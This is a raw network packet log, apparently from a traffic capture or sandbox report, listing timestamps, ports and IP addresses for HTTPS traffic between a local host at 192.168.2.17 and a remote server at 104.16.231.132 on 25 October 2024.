Oct 25, 2024 10:17:35.009171963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009186983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009218931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009223938 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009242058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009290934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009296894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009341955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009366989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009402037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009417057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009459019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009494066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009524107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009542942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009542942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009550095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009588003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009614944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009644985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009656906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009669065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009699106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009704113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009736061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009743929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009784937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009809971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009814978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009834051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009843111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009882927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009896994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009927034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009965897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009984970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010004997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010025978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010034084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010056973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010075092 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010083914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010097027 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010102987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010138988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010144949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010159969 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010163069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010215998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010226011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010245085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010282040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010286093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010328054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010343075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010349989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010370970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010394096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010400057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010425091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010428905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010488033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010493994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010812998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010854959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010879040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010885000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.010915995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.010998011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011046886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011056900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011080980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011118889 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011217117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011257887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011276007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011287928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011332989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011451006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011493921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011513948 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011521101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011567116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011635065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011677027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011708975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011713982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011734009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011811972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011856079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011867046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.011881113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.011919022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012013912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012051105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012077093 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012083054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012115002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012187958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012231112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012243986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012254000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012289047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012387037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012423992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012447119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012453079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012480021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012556076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012600899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012622118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012629032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012670994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012742996 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012789011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012806892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012823105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.012861013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.012958050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013000011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013015985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013027906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013068914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013159990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013196945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013227940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013233900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013258934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013359070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013401031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013416052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013422966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013462067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013526917 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013565063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013596058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013601065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013619900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013696909 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013739109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013751984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013767004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013801098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013899088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013936043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013957024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.013962984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.013991117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014066935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014108896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014126062 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014132977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014168978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014240980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014280081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014309883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014314890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014338017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014417887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014460087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014477015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014483929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014529943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014594078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014636993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014663935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014668941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014702082 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014772892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014816046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014832973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014846087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.014885902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.014981031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015017986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015044928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015050888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015085936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015160084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015202999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015218973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015225887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015260935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015363932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015400887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015419006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015425920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015465021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015536070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015575886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015602112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015609980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015645981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015722036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015770912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015794992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015799999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.015822887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.015913963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016012907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016027927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016045094 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016079903 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016190052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016227961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016246080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016252995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016284943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016369104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016412020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016427040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016433954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016478062 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016557932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016597033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016622066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016628027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016653061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016746044 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016788006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016809940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016819000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.016855955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.016966105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017003059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017025948 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017034054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017064095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017158031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017200947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017225981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017231941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017258883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017348051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017386913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017402887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017410994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017446041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017534971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017576933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017600060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017606020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017642975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017721891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017759085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017781973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017787933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017817020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017911911 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017955065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.017967939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.017985106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018022060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018125057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018163919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018188953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018193960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018223047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018299103 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018342018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018372059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018378019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018452883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018482924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018522978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018558025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018563986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018620014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018668890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018717051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018758059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018764019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018779993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018841028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018882990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.018984079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.018990040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019035101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019072056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019140005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019145966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019238949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019280910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019299984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019310951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019352913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019495010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019531965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019567013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019572973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019606113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019680977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019723892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019737959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019748926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019784927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019891977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019928932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019954920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.019962072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.019990921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020081043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020126104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020142078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020148039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020183086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020279884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020318031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020344973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020350933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020376921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020454884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020498037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020513058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020530939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020567894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020711899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020750999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020775080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020781994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020813942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020906925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020950079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.020967007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.020979881 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021012068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021116972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021158934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021178007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021187067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021215916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021311998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021356106 CEST	443	58442	104.16.231.132	192.168.2.17
